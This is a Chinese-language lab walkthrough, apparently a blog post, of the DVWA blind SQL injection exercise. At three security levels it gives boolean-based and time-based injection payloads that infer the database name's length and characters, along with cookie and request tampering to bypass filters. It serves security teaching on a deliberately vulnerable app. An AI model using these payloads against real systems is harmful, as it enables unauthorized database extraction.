DVWA2_SQL Injection (Blind)

SQL_Blind漏洞详情

SQL_Blind漏洞挖掘思路

SQL Injection (Blind)

LOW

Medium

High

SQL_Blind漏洞详情

SQL Injection(Blind),即SQL盲注,盲注时通常无法从显示页面上获取执行结果,甚至连注入语句是否执行都无看不出,目前存在较多的SQL注入均属于盲注,可分为布尔型和延时型两种。

SQL_Blind漏洞挖掘思路

  1. 判断是否存注入及注入类型
  2. 猜解库、表、字段及字段数据

SQL Injection (Blind)

LOW

Low后端源码查看,明显未对参数id进行任何检验及过滤,SQL注入

1.判断是否存在注入及注入类型

#1

返回User ID exists in the database.

#6

回显User ID is MISSING from the database.(不存在此id)

 

 可知存在两种返回信息,及存在和不存在两种,存在盲注

比较#6-5和6’-’5比较返回信息

#6-5

回显User ID is MISSING from the database.(不存在此id)

 #6’-’5

返回User ID exists in the database.可判断存在注入且为字符型注入

 

2.猜解库名

布尔型猜解

2.1 库长

#1' and length(database())>3 --

返回User ID exists in the database.  Ture

#1' and length(database())>4 --

返回User ID exists in the database.  False

及可判断库长为4

2.2 库名猜解

#1' and ascii(substr(database(),1,1))=100 --

返回User ID exists in the database.  Ture

ascii(d)=100

可判断库名第一个字母为d

可利用burpsuite依次猜解即可,库名’dvwa’

同理表、字段均可自动化猜解

延时型猜解

2.3库长

#1’ and if(length(database())=4,sleep(5),1) --

出现明显延时

 2.4库名

#1' and if(ascii(substr(database(),1,1))=100,sleep(5),1) --

同样出现明显延时,可猜解库名第一个为d

Medium

Medium级别的PHP代码利用mysql_real_escape_string函数对特殊符号

\x00,\n,\r,\,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

下拉菜单:通过抓包修改传参

特殊符号转义:猜解具体制定参数时通过16进制编码绕过

 

1.判断是否存在注入及注入类型

#id=1 and 1=1 -- &Submit=Submit

返回User ID exists in the database.

 #id=1 and 1=2 -- &Submit=Submit

回显User ID is MISSING from the database.(不存在此id)

 可判断出存在SQL盲注且为数字型

2.猜解库名

2.1库长

布尔型方式:id=1 and length(database())=4 --  &Submit=Submit

延时型方式:id=1 and if(length(database())=4,sleep(5),1) --   &Submit=Submit

2.2库名:

布尔型方式:id=1 and ascii(substr(database(),1,1))=100  --  &Submit=Submit

延时型方式:id=1 and if(ascii(substr(database(),1,1))=100,sleep(5),1) --   &Submit=Submit

#表、字段、数据均可依次猜解

High

查看PHP后端代码,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

 Cookie传递id:抓包控制cookie_id值

LIMIT1: 注释 --

引用sleep函数:布尔型测试

1.判断是否存在注入及注入类型

# id=1' and 1=1 -- ; security=high; PHPSESSID=nthucufvoj6ua3joiut951gnf5

返回User ID exists in the database.

 # id=1' and 1=2 -- ; security=high; PHPSESSID=nthucufvoj6ua3joiut951gnf5

 

回显User ID is MISSING from the database.(不存在此id)

可判断出存在SQL盲注且为字符型

2.猜解库名

2.1库长

布尔型方式:id=1’ and length(database())=4 --  ; security=high; PHPSESSID=nthucufvoj6ua3joiut951gnf5

2.2库名:

布尔型方式:id=1’ and ascii(substr(database(),1,1))=100  --  ; security=high; PHPSESSID=nthucufvoj6ua3joiut951gnf5

#表、字段、数据均可依次猜解

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值